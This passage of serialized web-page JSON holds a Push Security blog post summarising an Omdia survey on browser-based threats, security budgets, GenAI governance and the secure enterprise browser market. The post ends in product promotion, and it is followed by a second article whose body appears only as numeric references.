",{"data":41088,"content":41089,"nodeType":866},{},[41090],{"data":41091,"marks":41092,"value":41093,"nodeType":865},{},[],"The browser is not an emerging threat vector. It’s worth noting here that these numbers are also likely lower than the reality, since many are only identified later in the kill chain. Without browser-level telemetry they can be difficult to trace back their source — which in the vast majority of cases, even for malware-driven attacks, is the browser. ",{"data":41095,"content":41099,"nodeType":925},{"target":41096},{"sys":41097},{"id":41098,"type":922,"linkType":923},"6Kcz8oILKVHmhQIo5Du6V",[],{"data":41101,"content":41102,"nodeType":866},{},[41103],{"data":41104,"marks":41105,"value":41106,"nodeType":865},{},[],"What stands out is that every one of the top attack categories plays out inside the browser session itself — not against the browser as a piece of software, but within the sessions where users interact with applications:",{"data":41108,"content":41109,"nodeType":1049},{},[41110,41120,41130,41140,41150,41160,41170,41180],{"data":41111,"content":41112,"nodeType":1003},{},[41113],{"data":41114,"content":41115,"nodeType":866},{},[41116],{"data":41117,"marks":41118,"value":41119,"nodeType":865},{},[],"Phishing (40%)",{"data":41121,"content":41122,"nodeType":1003},{},[41123],{"data":41124,"content":41125,"nodeType":866},{},[41126],{"data":41127,"marks":41128,"value":41129,"nodeType":865},{},[],"Data loss or leakage (38%)",{"data":41131,"content":41132,"nodeType":1003},{},[41133],{"data":41134,"content":41135,"nodeType":866},{},[41136],{"data":41137,"marks":41138,"value":41139,"nodeType":865},{},[],"Malicious browser extensions (34%)",{"data":41141,"content":41142,"nodeType":1003},{},[41143],{"data":41144,"content":41145,"nodeType":866},{},[41146],{"data":41147,"marks":41148,"value":41149,"nodeType":865},{},[],"Vulnerable browser extensions (33%)",{"data":41151,"content":41152,"nodeType":1003},{},[41153],{"data":41154,"content":41155,"nodeType":866},{},[41156],{"data":41157,"marks":41158,"value":41159,"nodeType":865},{},[],"Malicious scripts (31%)",{"data":41161,"content":41162,"nodeType":1003},{},[41163],{"data":41164,"content":41165,"nodeType":866},{},[41166],{"data":41167,"marks":41168,"value":41169,"nodeType":865},{},[],"Credential theft via browser (28%)",{"data":41171,"content":41172,"nodeType":1003},{},[41173],{"data":41174,"content":41175,"nodeType":866},{},[41176],{"data":41177,"marks":41178,"value":41179,"nodeType":865},{},[],"Cookie theft (22%)",{"data":41181,"content":41182,"nodeType":1003},{},[41183],{"data":41184,"content":41185,"nodeType":866},{},[41186],{"data":41187,"marks":41188,"value":41189,"nodeType":865},{},[],"AiTM attacks (17%)",{"data":41191,"content":41192,"nodeType":866},{},[41193],{"data":41194,"marks":41195,"value":41196,"nodeType":865},{},[],"Phishing, credential theft, cookie theft, and AiTM are attacks that target the user's interaction with a web page — the credential entry, the session creation, the token exchange. Malicious and vulnerable extensions are supply chain risks that operate inside the browser's own execution environment. Data loss happens through the browser when employees upload files, paste data into AI tools, or share information with unsanctioned applications. ",{"data":41198,"content":41201,"nodeType":925},{"target":41199},{"sys":41200},{"id":19097,"type":922,"linkType":923},[],{"data":41203,"content":41204,"nodeType":866},{},[41205],{"data":41206,"marks":41207,"value":41208,"nodeType":865},{},[],"None of these are attacks where network-layer traffic inspection, endpoint monitoring, or email scanning provides complete coverage, because the attack surface is the browser session itself.",{"data":41210,"content":41214,"nodeType":925},{"target":41211},{"sys":41212},{"id":41213,"type":922,"linkType":923},"5kI5h4Z31ByD73er7voayF",[],{"data":41216,"content":41217,"nodeType":953},{},[],{"data":41219,"content":41220,"nodeType":963},{},[41221],{"data":41222,"marks":41223,"value":41225,"nodeType":865},{},[41224],{"type":961},"2. Browser security is now a board-level priority",{"data":41227,"content":41228,"nodeType":866},{},[41229,41234],{"data":41230,"marks":41231,"value":41233,"nodeType":865},{},[41232],{"type":961},"88% of respondents rank browser security as at least a top-five security priority",{"data":41235,"marks":41236,"value":41237,"nodeType":865},{},[],", with more than a quarter (26%) calling it their single top priority. For context, this is a survey that covers the full spectrum of security concerns — cloud, supply chain, AI, insider risk — and browser security has risen above most of them.",{"data":41239,"content":41240,"nodeType":866},{},[41241],{"data":41242,"marks":41243,"value":41244,"nodeType":865},{},[],"This is not aspirational interest. The correlation between priority level and investment is sharp: among those who rank browser security as their top priority, 72% have significantly increased their investment due to emerging threats. Among those who rank it in their top five, that figure is 26%. The organizations that care most are spending the most.",{"data":41246,"content":41247,"nodeType":866},{},[41248,41253],{"data":41249,"marks":41250,"value":41252,"nodeType":865},{},[41251],{"type":961},"86% of respondents have increased their browser security investment in response to emerging threats",{"data":41254,"marks":41255,"value":41256,"nodeType":865},{},[],", with 36% saying the increase was significant. When you ask what's driving that spend, the answer is the threat landscape: the attacks cataloged in the previous section are the reason budgets are moving.",{"data":41258,"content":41259,"nodeType":953},{},[],{"data":41261,"content":41262,"nodeType":963},{},[41263],{"data":41264,"marks":41265,"value":41267,"nodeType":865},{},[41266],{"type":961},"3. Real budget is being allocated — and it's growing",{"data":41269,"content":41270,"nodeType":866},{},[41271,41275,41279],{"data":41272,"marks":41273,"value":41274,"nodeType":865},{},[],"Secure enterprise browser solutions already take up ",{"data":41276,"marks":41277,"value":34980,"nodeType":865},{},[41278],{"type":961},{"data":41280,"marks":41281,"value":41282,"nodeType":865},{},[]," — a substantial allocation for a category that didn't exist as a standalone line item a few years ago. And 85% of respondents expect to increase that spend over the next 12–24 months, with a quarter expecting significant increases.",{"data":41284,"content":41285,"nodeType":866},{},[41286],{"data":41287,"marks":41288,"value":41289,"nodeType":865},{},[],"Where the money comes from tells its own story. The most common funding model is a discrete line item within security program budgets (31%) or a dedicated secure browsing budget (30%). When organizations pull from an existing program budget, web security (26%) and endpoint security (21%) are the most common sources — while SASE/SSE accounts for just 9%, despite SASE vendors being the second most popular vendor category. That disconnect between vendor preference and budget origin suggests the SASE-bundled buying motion may be more aspirational than operational.",{"data":41291,"content":41292,"nodeType":866},{},[41293],{"data":41294,"marks":41295,"value":41296,"nodeType":865},{},[],"IT operations leadership is the top stakeholder in 82% of evaluations, with CISO and security leadership at 64% and CIOs at 42%. Day-to-day management sits primarily with IT Ops (77%) and SecOps (50%). This dual stakeholder picture — IT operations driving evaluation, security leadership providing strategic direction — shapes the competitive landscape in ways we'll come back to.",{"data":41298,"content":41299,"nodeType":953},{},[],{"data":41301,"content":41302,"nodeType":963},{},[41303],{"data":41304,"marks":41305,"value":41307,"nodeType":865},{},[41306],{"type":961},"4. AI is accelerating both the threat and the use case",{"data":41309,"content":41310,"nodeType":866},{},[41311],{"data":41312,"marks":41313,"value":41314,"nodeType":865},{},[],"AI shows up in this report from two directions, mirroring how it is reshaping the security landscape itself.",{"data":41316,"content":41317,"nodeType":866},{},[41318,41322,41327],{"data":41319,"marks":41320,"value":41321,"nodeType":865},{},[],"On the threat side, ",{"data":41323,"marks":41324,"value":41326,"nodeType":865},{},[41325],{"type":961},"AI-powered targeted phishing and social engineering is the top emerging concern",{"data":41328,"marks":41329,"value":41330,"nodeType":865},{},[],", cited by 75% of respondents as either very concerning or concerning. Data leakage via unsanctioned AI applications comes second at 71%, followed by deepfake/AI-generated malicious content at 69% and credential harvesting via fake AI or SaaS login pages at 66%. Every one of these threat categories involves the browser — AI-enhanced phishing lands in the browser, AI data leakage happens through browser-based AI tools, and fake AI login pages are browser-based credential harvesting.",{"data":41332,"content":41336,"nodeType":925},{"target":41333},{"sys":41334},{"id":41335,"type":922,"linkType":923},"2ajv2i5wn2GzKuyynQGlvq",[],{"data":41338,"content":41339,"nodeType":866},{},[41340,41344,41349],{"data":41341,"marks":41342,"value":41343,"nodeType":865},{},[],"On the adoption side, the picture is almost universal — and almost universally under-governed. ",{"data":41345,"marks":41346,"value":41348,"nodeType":865},{},[41347],{"type":961},"92% of organizations now allow employees to use public GenAI applications",{"data":41350,"marks":41351,"value":41352,"nodeType":865},{},[],", and virtually every organization has some kind of policy position: 37% have sanctioned one public app (with everything else unsanctioned), 39% have sanctioned multiple public apps (with others unsanctioned), and 23% restrict employees to a corporate instance while the public versions are unsanctioned. ",{"data":41354,"content":41355,"nodeType":866},{},[41356],{"data":41357,"marks":41358,"value":41359,"nodeType":865},{},[],"Even the 8% who don't allow GenAI at all have taken a policy position. Essentially 100% of organizations have a GenAI policy — but for the vast majority, that policy designates a large portion of public AI tool usage as unsanctioned, which raises the immediate question of whether they have the tooling to actually enforce it.",{"data":41361,"content":41362,"nodeType":866},{},[41363],{"data":41364,"marks":41365,"value":41366,"nodeType":865},{},[],"The answer, based on the current tooling landscape, appears to be: not quite. When Omdia asked how organizations currently secure GenAI usage, 58% rely on secure web gateways — tools that see traffic metadata but cannot observe what a user actually does inside a GenAI session — while 57% use secure browsing solutions and 57% use SaaS security solutions. ",{"data":41368,"content":41369,"nodeType":866},{},[41370],{"data":41371,"marks":41372,"value":41373,"nodeType":865},{},[],"An SWG can tell you that a user visited ChatGPT, but it cannot tell you whether they pasted your company's source code into the prompt. That distinction — between knowing where data went and knowing what the user actually did — is the fundamental gap that browser-layer visibility exists to close, and it is exactly the gap that makes GenAI policies unenforceable without browser-layer tooling.",{"data":41375,"content":41376,"nodeType":866},{},[41377,41381,41386],{"data":41378,"marks":41379,"value":41380,"nodeType":865},{},[],"The use case data reflects this. When Omdia asked about the most important use cases for a secure browsing solution, ",{"data":41382,"marks":41383,"value":41385,"nodeType":865},{},[41384],{"type":961},"generative AI application security came in first at 59%",{"data":41387,"marks":41388,"value":41389,"nodeType":865},{},[],", followed by data loss prevention at 51% and general web security enhancement at 42%. The feature priorities tell a consistent story: AI-powered threat detection and response (52%) and advanced GenAI usage controls and monitoring (41%) were the top two capabilities organizations said would be most important in a purchase decision. ",{"data":41391,"content":41392,"nodeType":866},{},[41393],{"data":41394,"marks":41395,"value":41396,"nodeType":865},{},[],"AI is both the top threat concern and the top use case for browser security — and it is a browser problem at both ends, because every LLM interaction, every prompt containing sensitive data, and every AI agent authorization happens inside a browser session.",{"data":41398,"content":41399,"nodeType":953},{},[],{"data":41401,"content":41402,"nodeType":963},{},[41403],{"data":41404,"marks":41405,"value":41407,"nodeType":865},{},[41406],{"type":961},"5. Organizations that have deployed secure enterprise browser solutions are seeing real results",{"data":41409,"content":41410,"nodeType":866},{},[41411],{"data":41412,"marks":41413,"value":41414,"nodeType":865},{},[],"One of the most useful sections in Omdia's report is the benefits data — what organizations that have deployed SEB solutions are actually getting out of them.",{"data":41416,"content":41417,"nodeType":866},{},[41418,41422,41427],{"data":41419,"marks":41420,"value":41421,"nodeType":865},{},[],"The top realized benefit is ",{"data":41423,"marks":41424,"value":41426,"nodeType":865},{},[41425],{"type":961},"improved data security, cited by 58% of respondents",{"data":41428,"marks":41429,"value":41430,"nodeType":865},{},[],", followed by fewer security incidents (49%), better visibility and auditing (47%), improved user experience (44%), and simplified configuration and policy management (41%). The picture that emerges is not just a security story but an operational one: organizations are seeing fewer incidents, better visibility, and simpler management alongside the security outcomes.",{"data":41432,"content":41433,"nodeType":866},{},[41434],{"data":41435,"marks":41436,"value":41437,"nodeType":865},{},[],"The 49% who cite fewer security incidents as a realized benefit is the number that matters most here, because it directly connects SEB deployment to measurable risk reduction. Organizations aren't just buying tools and hoping — they're deploying them and seeing fewer successful attacks as a result.",{"data":41439,"content":41440,"nodeType":953},{},[],{"data":41442,"content":41443,"nodeType":963},{},[41444],{"data":41445,"marks":41446,"value":41448,"nodeType":865},{},[41447],{"type":961},"6. The market wants protection in existing browsers, not migration",{"data":41450,"content":41451,"nodeType":866},{},[41452,41456,41461],{"data":41453,"marks":41454,"value":41455,"nodeType":865},{},[],"When Omdia asked what attributes matter most in a secure enterprise browser solution, ",{"data":41457,"marks":41458,"value":41460,"nodeType":865},{},[41459],{"type":961},"\"ability to use existing browsers\" ranked as the fourth most important attribute at 48%",{"data":41462,"marks":41463,"value":41464,"nodeType":865},{},[]," — behind only integration with other security tools (57%), controls over generative AI application usage (53%), and centralized policy enforcement (52%). ",{"data":41466,"content":41467,"nodeType":866},{},[41468],{"data":41469,"marks":41470,"value":41471,"nodeType":865},{},[],"That 48% figure, combined with 80% of respondents saying they expect to use an SEB solution as an integrated or alongside component rather than a replacement for existing tools, points to a clear market preference: organizations want browser security that works with their existing browser estate, not a migration to a new one.",{"data":41473,"content":41474,"nodeType":866},{},[41475,41479,41487],{"data":41476,"marks":41477,"value":41478,"nodeType":865},{},[],"This is consistent with what we hear from security leaders directly. As ",{"data":41480,"content":41481,"nodeType":882},{"uri":26050},[41482],{"data":41483,"marks":41484,"value":41486,"nodeType":865},{},[41485],{"type":997},"Josh Lemos put it: ",{"data":41488,"marks":41489,"value":41490,"nodeType":865},{},[],"\"We looked at the full-stack enterprise browser approach, but converging on a single platform was tough. Push gave me the security instrumentation and context I needed without onerous headwinds.\" The deployment model matters because it determines adoption velocity — and a tool that requires browser migration introduces friction that delays time to value.",{"data":41492,"content":41493,"nodeType":866},{},[41494,41498],{"data":41495,"marks":41496,"value":41497,"nodeType":865},{},[],"Push was built around this insight from day one. As the secure enterprise browser extension for security teams, Push turns any browser — managed or unmanaged, including agentic browsers — into a telemetry source and control point the moment it's installed. It has been rolled out to 100,000 users in under an hour during normal office hours with zero downtime. ",{"data":41499,"marks":41500,"value":41502,"nodeType":865},{},[41501],{"type":961},"That is a deployment model that matches what Omdia's respondents are asking for.",{"data":41504,"content":41505,"nodeType":953},{},[],{"data":41507,"content":41508,"nodeType":963},{},[41509],{"data":41510,"marks":41511,"value":41513,"nodeType":865},{},[41512],{"type":961},"7. Dedicated vendors lead over platform plays",{"data":41515,"content":41516,"nodeType":866},{},[41517,41521,41526],{"data":41518,"marks":41519,"value":41520,"nodeType":865},{},[],"When Omdia asked which category of vendor organizations primarily use or expect to use for secure enterprise browsing, ",{"data":41522,"marks":41523,"value":41525,"nodeType":865},{},[41524],{"type":961},"36% chose a dedicated SEB vendor",{"data":41527,"marks":41528,"value":41529,"nodeType":865},{},[]," — the largest single category. SASE/network security vendors came second at 29%, followed by traditional VDI/desktop virtualization vendors at 19% and endpoint platform vendors at 15%.",{"data":41531,"content":41532,"nodeType":866},{},[41533],{"data":41534,"marks":41535,"value":41536,"nodeType":865},{},[],"The dedicated category leads, and the reason isn't just first-mover advantage — it's architectural. The alternative paths each come with structural constraints. SASE and SSE platforms are network-centric: they see traffic metadata and enforce URL categorization, but they can't observe the rendered page inside a browser tab — the DOM structure, the script behavior, the credential entry that distinguishes a legitimate login from an AiTM reverse-proxy kit. ",{"data":41538,"content":41539,"nodeType":866},{},[41540],{"data":41541,"marks":41542,"value":41543,"nodeType":865},{},[],"Endpoint platforms that bolt on browser visibility are still anchored to the OS layer, solving for browser exploit prevention rather than in-session behavioral detection of the attacks that actually dominate — phishing, credential theft, session hijacking, extension compromise. And when large platform vendors acquire browser security capabilities, the integration work takes years rather than months, during which detection depth sits in a transitional state. ",{"data":41545,"content":41546,"nodeType":866},{},[41547],{"data":41548,"marks":41549,"value":41550,"nodeType":865},{},[],"Dedicated browser-native vendors start from a different premise entirely: the browser isn't a supplementary signal feeding into someone else's SASE pipeline or XDR correlation engine — it is the telemetry source and the control point. The browser is the only place where you get simultaneous visibility into both the attacker's technique and the employee's action within the same session, because the phishing page, the credential submission, the token exchange, and the data exfiltration all happen inside the same tab. No network appliance, endpoint agent, or identity provider log can see all of that, because none of them are present where the interaction occurs.",{"data":41552,"content":41553,"nodeType":866},{},[41554],{"data":41555,"marks":41556,"value":41557,"nodeType":865},{},[],"For security teams evaluating SEB solutions, the architecture matters more than the vendor category label. The capabilities Omdia's respondents ranked highest — integration with existing tools, GenAI controls, centralized policy enforcement, and the ability to use existing browsers — all point toward solutions that deliver detection depth through a lightweight deployment model, without browser migration and without the integration debt of a platform acquisition.",{"data":41559,"content":41560,"nodeType":953},{},[],{"data":41562,"content":41563,"nodeType":866},{},[41564],{"data":41565,"marks":41566,"value":41567,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. ",{"data":41569,"content":41570,"nodeType":866},{},[41571],{"data":41572,"marks":41573,"value":1718,"nodeType":865},{},[],{"data":41575,"content":41576,"nodeType":866},{},[41577,41580,41587],{"data":41578,"marks":41579,"value":21,"nodeType":865},{},[],{"data":41581,"content":41582,"nodeType":882},{"uri":1728},[41583],{"data":41584,"marks":41585,"value":10641,"nodeType":865},{},[41586],{"type":997},{"data":41588,"marks":41589,"value":1738,"nodeType":865},{},[],"7 things Omdia's latest report tells us about the secure enterprise browser market","Unpacking the latest research report from Omdia and what it means for the secure enterprise browser market.","7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market",{"items":41594},[41595,41597],{"sys":41596,"name":297},{"id":2828},{"sys":41598,"name":2825},{"id":2824},{"items":41600},[41601],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":41602},{"url":11434},{"__typename":1788,"sys":41604,"content":41605,"title":40383,"synopsis":40384,"hashTags":59,"publishedDate":19780,"slug":40385,"tagsCollection":42426,"authorsCollection":42432},{"id":39422},{"json":41606},{"data":41607,"content":41608,"nodeType":1739},{},[41609,41631,41655,41688,41721,41726,41736,41739,41746,41788,41794,41813,41818,41821,41828,41852,41858,41865,41870,41873,41880,41886,41901,41907,41940,41946,41949,41956,41971,42013,42016,42023,42038,42053,42060,42066,42076,42086,42096,42106,42121,42128,42134,42137,42143,42149,42164,42167,42174,42189,42420],{"data":41610,"content":41611,"nodeType":866},{},[41612,41615,41621,41624,41628],{"data":41613,"marks":41614,"value":39433,"nodeType":865},{},[],{"data":41616,"content":41617,"nodeType":882},{"uri":8759},[41618],{"data":41619,"marks":41620,"value":19437,"nodeType":865},{},[],{"data":41622,"marks":41623,"value":39443,"nodeType":865},{},[],{"data":41625,"marks":41626,"value":39448,"nodeType":865},{},[41627],{"type":961},{"data":41629,"marks":41630,"value":39452,"nodeType":865},{},[],{"data":41632,"content":41633,"nodeType":866},{},[41634,41637,41643,41646,41652],{"data":41635,"marks":41636,"value":39459,"nodeType":865},{},[],{"data":41638,"content":41639,"nodeType":882},{"uri":39462},[41640],{"data":41641,"marks":41642,"value":39467,"nodeType":865},{},[],{"data":41644,"marks":41645,"value":39471,"nodeType":865},{},[],{"data":41647,"content":41648,"nodeType":882},{"uri":39474},[41649],{"data":41650,"marks":41651,"value":39479,"nodeType":865},{},[],{"data":41653,"marks":41654,"value":39483,"nodeType":865},{},[],{"data":41656,"content":41657,"nodeType":866},{},[41658,41661,41667,41670,41676,41679,41685],{"data":41659,"marks":41660,"value":39490,"nodeType":865},{},[],{"data":41662,"content":41663,"nodeType":882},{"uri":39493},[41664],{"data":41665,"marks":41666,"value":39498,"nodeType":865},{},[],{"data":41668,"marks":41669,"value":39502,"nodeType":865},{},[],{"data":41671,"content":41672,"nodeType":882},{"uri":39505},[41673],{"data":41674,"marks":41675,"value":39510,"nodeType":865},{},[],{"data":41677,"marks":41678,"value":39514,"nodeType":865},{},[],{"data":41680,"content":41681,"nodeType":882},{"uri":39517},[41682],{"data":41683,"marks":41684,"value":39522,"nodeType":865},{},[],{"data":41686,"marks":41687,"value":39526,"nodeType":865},{},[],{"data":41689,"content":41690,"nodeType":866},{},[41691,41694,41700,41703,41709,41712,41718],{"data":41692,"marks":41693,"value":39533,"nodeType":865},{},[],{"data":41695,"content":41696,"nodeType":882},{"uri":39536},[41697],{"data":41698,"marks":41699,"value":39541,"nodeType":865},{},[],{"data":41701,"marks":41702,"value":39545,"nodeType":865},{},[],{"data":41704,"content":41705,"nodeType":882},{"uri":39548},[41706],{"data":41707,"marks":41708,"value":39553,"nodeType":865},{},[],{"data":41710,"marks":41711,"value":39557,"nodeType":865},{},[],{"data":41713,"content":41714,"nodeType":882},{"uri":39560},[41715],{"data":41716,"marks":41717,"value":39565,"nodeType":865},{},[],{"data":41719,"marks":41720,"value":39569,"nodeType":865},{},[],{"data":41722,"content":41725,"nodeType":925},{"target":41723},{"sys":41724},{"id":39574,"type":922,"linkType":923},[],{"data":41727,"content":41728,"nodeType":866},{},[41729,41733],{"data":41730,"marks":41731,"value":39583,"nodeType":865},{},[41732],{"type":961},{"data":41734,"marks":41735,"value":39587,"nodeType":865},{},[],{"data":41737,"content":41738,"nodeType":953},{},[],{"data":41740,"content":41741,"nodeType":963},{},[41742],{"data":41743,"marks":41744,"value":39598,"nodeType":865},{},[41745],{"type":961},{"data":41747,"content":41748,"nodeType":866},{},[41749,41752,41758,41761,41767,41770,41776,41779,41785],{"data":41750,"marks":41751,"value":39605,"nodeType":865},{},[],{"data":41753,"content":41754,"nodeType":882},{"uri":24060},[41755],{"data":41756,"marks":41757,"value":39612,"nodeType":865},{},[],{"data":41759,"marks":41760,"value":26083,"nodeType":865},{},[],{"data":41762,"content":41763,"nodeType":882},{"uri":39618},[41764],{"data":41765,"marks":41766,"value":39623,"nodeType":865},{},[],{"data":41768,"marks":41769,"value":38646,"nodeType":865},{},[],{"data":41771,"content":41772,"nodeType":882},{"uri":39505},[41773],{"data":41774,"marks":41775,"value":39633,"nodeType":865},{},[],{"data":41777,"marks":41778,"value":39637,"nodeType":865},{},[],{"data":41780,"content":41781,"nodeType":882},{"uri":12335},[41782],{"data":41783,"marks":41784,"value":39644,"nodeType":865},{},[],{"data":41786,"marks":41787,"value":1048,"nodeType":865},{},[],{"data":41789,"content":41790,"nodeType":866},{},[41791],{"data":41792,"marks":41793,"value":39654,"nodeType":865},{},[],{"data":41795,"content":41796,"nodeType":866},{},[41797,41800,41806,41809],{"data":41798,"marks":41799,"value":39661,"nodeType":865},{},[],{"data":41801,"content":41802,"nodeType":882},{"uri":12335},[41803],{"data":41804,"marks":41805,"value":39668,"nodeType":865},{},[],{"data":41807,"marks":41808,"value":39672,"nodeType":865},{},[],{"data":41810,"marks":41811,"value":39677,"nodeType":865},{},[41812],{"type":961},{"data":41814,"content":41817,"nodeType":925},{"target":41815},{"sys":41816},{"id":39682,"type":922,"linkType":923},[],{"data":41819,"content":41820,"nodeType":953},{},[],{"data":41822,"content":41823,"nodeType":963},{},[41824],{"data":41825,"marks":41826,"value":39694,"nodeType":865},{},[41827],{"type":961},{"data":41829,"content":41830,"nodeType":866},{},[41831,41834,41840,41843,41849],{"data":41832,"marks":41833,"value":873,"nodeType":865},{},[],{"data":41835,"content":41836,"nodeType":882},{"uri":19454},[41837],{"data":41838,"marks":41839,"value":39707,"nodeType":865},{},[],{"data":41841,"marks":41842,"value":39711,"nodeType":865},{},[],{"data":41844,"content":41845,"nodeType":882},{"uri":39517},[41846],{"data":41847,"marks":41848,"value":39718,"nodeType":865},{},[],{"data":41850,"marks":41851,"value":39722,"nodeType":865},{},[],{"data":41853,"content":41854,"nodeType":866},{},[41855],{"data":41856,"marks":41857,"value":39729,"nodeType":865},{},[],{"data":41859,"content":41860,"nodeType":866},{},[41861],{"data":41862,"marks":41863,"value":39737,"nodeType":865},{},[41864],{"type":961},{"data":41866,"content":41869,"nodeType":925},{"target":41867},{"sys":41868},{"id":39742,"type":922,"linkType":923},[],{"data":41871,"content":41872,"nodeType":953},{},[],{"data":41874,"content":41875,"nodeType":963},{},[41876],{"data":41877,"marks":41878,"value":39754,"nodeType":865},{},[41879],{"type":961},{"data":41881,"content":41882,"nodeType":866},{},[41883],{"data":41884,"marks":41885,"value":39761,"nodeType":865},{},[],{"data":41887,"content":41888,"nodeType":866},{},[41889,41892,41898],{"data":41890,"marks":41891,"value":873,"nodeType":865},{},[],{"data":41893,"content":41894,"nodeType":882},{"uri":39770},[41895],{"data":41896,"marks":41897,"value":39775,"nodeType":865},{},[],{"data":41899,"marks":41900,"value":39779,"nodeType":865},{},[],{"data":41902,"content":41903,"nodeType":866},{},[41904],{"data":41905,"marks":41906,"value":39786,"nodeType":865},{},[],{"data":41908,"content":41909,"nodeType":866},{},[41910,41913,41919,41922,41928,41931,41937],{"data":41911,"marks":41912,"value":39793,"nodeType":865},{},[],{"data":41914,"content":41915,"nodeType":882},{"uri":39796},[41916],{"data":41917,"marks":41918,"value":39801,"nodeType":865},{},[],{"data":41920,"marks":41921,"value":39805,"nodeType":865},{},[],{"data":41923,"content":41924,"nodeType":882},{"uri":39808},[41925],{"data":41926,"marks":41927,"value":39813,"nodeType":865},{},[],{"data":41929,"marks":41930,"value":39817,"nodeType":865},{},[],{"data":41932,"content":41933,"nodeType":882},{"uri":3288},[41934],{"data":41935,"marks":41936,"value":39824,"nodeType":865},{},[],{"data":41938,"marks":41939,"value":39828,"nodeType":865},{},[],{"data":41941,"content":41942,"nodeType":866},{},[41943],{"data":41944,"marks":41945,"value":39835,"nodeType":865},{},[],{"data":41947,"content":41948,"nodeType":953},{},[],{"data":41950,"content":41951,"nodeType":963},{},[41952],{"data":41953,"marks":41954,"value":39846,"nodeType":865},{},[41955],{"type":961},{"data":41957,"content":41958,"nodeType":866},{},[41959,41962,41968],{"data":41960,"marks":41961,"value":39853,"nodeType":865},{},[],{"data":41963,"content":41964,"nodeType":882},{"uri":39856},[41965],{"data":41966,"marks":41967,"value":39861,"nodeType":865},{},[],{"data":41969,"marks":41970,"value":39865,"nodeType":865},{},[],{"data":41972,"content":41973,"nodeType":866},{},[41974,41977,41983,41986,41992,41995,42001,42004,42010],{"data":41975,"marks":41976,"value":39872,"nodeType":865},{},[],{"data":41978,"content":41979,"nodeType":882},{"uri":39875},[41980],{"data":41981,"marks":41982,"value":39880,"nodeType":865},{},[],{"data":41984,"marks":41985,"value":39884,"nodeType":865},{},[],{"data":41987,"content":41988,"nodeType":882},{"uri":39887},[41989],{"data":41990,"marks":41991,"value":39892,"nodeType":865},{},[],{"data":41993,"marks":41994,"value":39896,"nodeType":865},{},[],{"data":41996,"content":41997,"nodeType":882},{"uri":39899},[41998],{"data":41999,"marks":42000,"value":39904,"nodeType":865},{},[],{"data":42002,"marks":42003,"value":39908,"nodeType":865},{},[],{"data":42005,"content":42006,"nodeType":882},{"uri":39911},[42007],{"data":42008,"marks":42009,"value":39916,"nodeType":865},{},[],{"data":42011,"marks":42012,"value":39920,"nodeType":865},{},[],{"data":42014,"content":42015,"nodeType":953},{},[],{"data":42017,"content":42018,"nodeType":963},{},[42019],{"data":42020,"marks":42021,"value":39931,"nodeType":865},{},[42022],{"type":961},{"data":42024,"content":42025,"nodeType":866},{},[42026,42029,42035],{"data":42027,"marks":42028,"value":39938,"nodeType":865},{},[],{"data":42030,"content":42031,"nodeType":882},{"uri":1384},[42032],{"data":42033,"marks":42034,"value":39945,"nodeType":865},{},[],{"data":42036,"marks":42037,"value":39949,"nodeType":865},{},[],{"data":42039,"content":42040,"nodeType":866},{},[42041,42044,42050],{"data":42042,"marks":42043,"value":39956,"nodeType":865},{},[],{"data":42045,"content":42046,"nodeType":882},{"uri":39959},[42047],{"data":42048,"marks":42049,"value":315,"nodeType":865},{},[],{"data":42051,"marks":42052,"value":39967,"nodeType":865},{},[],{"data":42054,"content":42055,"nodeType":1458},{},[42056],{"data":42057,"marks":42058,"value":3604,"nodeType":865},{},[42059],{"type":961},{"data":42061,"content":42062,"nodeType":866},{},[42063],{"data":42064,"marks":42065,"value":39981,"nodeType":865},{},[],{"data":42067,"content":42068,"nodeType":866},{},[42069,42073],{"data":42070,"marks":42071,"value":39989,"nodeType":865},{},[42072],{"type":961},{"data":42074,"marks":42075,"value":39993,"nodeType":865},{},[],{"data":42077,"content":42078,"nodeType":866},{},[42079,42083],{"data":42080,"marks":42081,"value":40001,"nodeType":865},{},[42082],{"type":961},{"data":42084,"marks":42085,"value":40005,"nodeType":865},{},[],{"data":42087,"content":42088,"nodeType":866},{},[42089,42093],{"data":42090,"marks":42091,"value":40013,"nodeType":865},{},[42092],{"type":961},{"data":42094,"marks":42095,"value":40017,"nodeType":865},{},[],{"data":42097,"content":42098,"nodeType":866},{},[42099,42103],{"data":42100,"marks":42101,"value":40025,"nodeType":865},{},[42102],{"type":961},{"data":42104,"marks":42105,"value":40029,"nodeType":865},{},[],{"data":42107,"content":42108,"nodeType":866},{},[42109,42112,42118],{"data":42110,"marks":42111,"value":21,"nodeType":865},{},[],{"data":42113,"content":42114,"nodeType":882},{"uri":5481},[42115],{"data":42116,"marks":42117,"value":40042,"nodeType":865},{},[],{"data":42119,"marks":42120,"value":21,"nodeType":865},{},[],{"data":42122,"content":42123,"nodeType":1458},{},[42124],{"data":42125,"marks":42126,"value":40053,"nodeType":865},{},[42127],{"type":961},{"data":42129,"content":42130,"nodeType":866},{},[42131],{"data":42132,"marks":42133,"value":40060,"nodeType":865},{},[],{"data":42135,"content":42136,"nodeType":953},{},[],{"data":42138,"content":42139,"nodeType":866},{},[42140],{"data":42141,"marks":42142,"value":5006,"nodeType":865},{},[],{"data":42144,"content":42145,"nodeType":866},{},[42146],{"data":42147,"marks":42148,"value":1718,"nodeType":865},{},[],{"data":42150,"content":42151,"nodeType":866},{},[42152,42155,42161],{"data":42153,"marks":42154,"value":21,"nodeType":865},{},[],{"data":42156,"content":42157,"nodeType":882},{"uri":13728},[42158],{"data":42159,"marks":42160,"value":2812,"nodeType":865},{},[],{"data":42162,"marks":42163,"value":21,"nodeType":865},{},[],{"data":42165,"content":42166,"nodeType":953},{},[],{"data":42168,"content":42169,"nodeType":963},{},[42170],{"data":42171,"marks":42172,"value":40101,"nodeType":865},{},[42173],{"type":961},{"data":42175,"content":42176,"nodeType":866},{},[42177,42180,42186],{"data":42178,"marks":42179,"value":40108,"nodeType":865},{},[],{"data":42181,"content":42182,"nodeType":882},{"uri":8759},[42183],{"data":42184,"marks":42185,"value":40115,"nodeType":865},{},[],{"data":42187,"marks":42188,"value":40119,"nodeType":865},{},[],{"data":42190,"content":42191,"nodeType":2396},{},[42192,42235,42291,42334,42377],{"data":42193,"content":42194,"nodeType":1869},{},[42195,42205,42215,42225],{"data":42196,"content":42197,"nodeType":1835},{},[42198],{"data":42199,"content":42200,"nodeType":866},{},[42201],{"data":42202,"marks":42203,"value":40136,"nodeType":865},{},[42204],{"t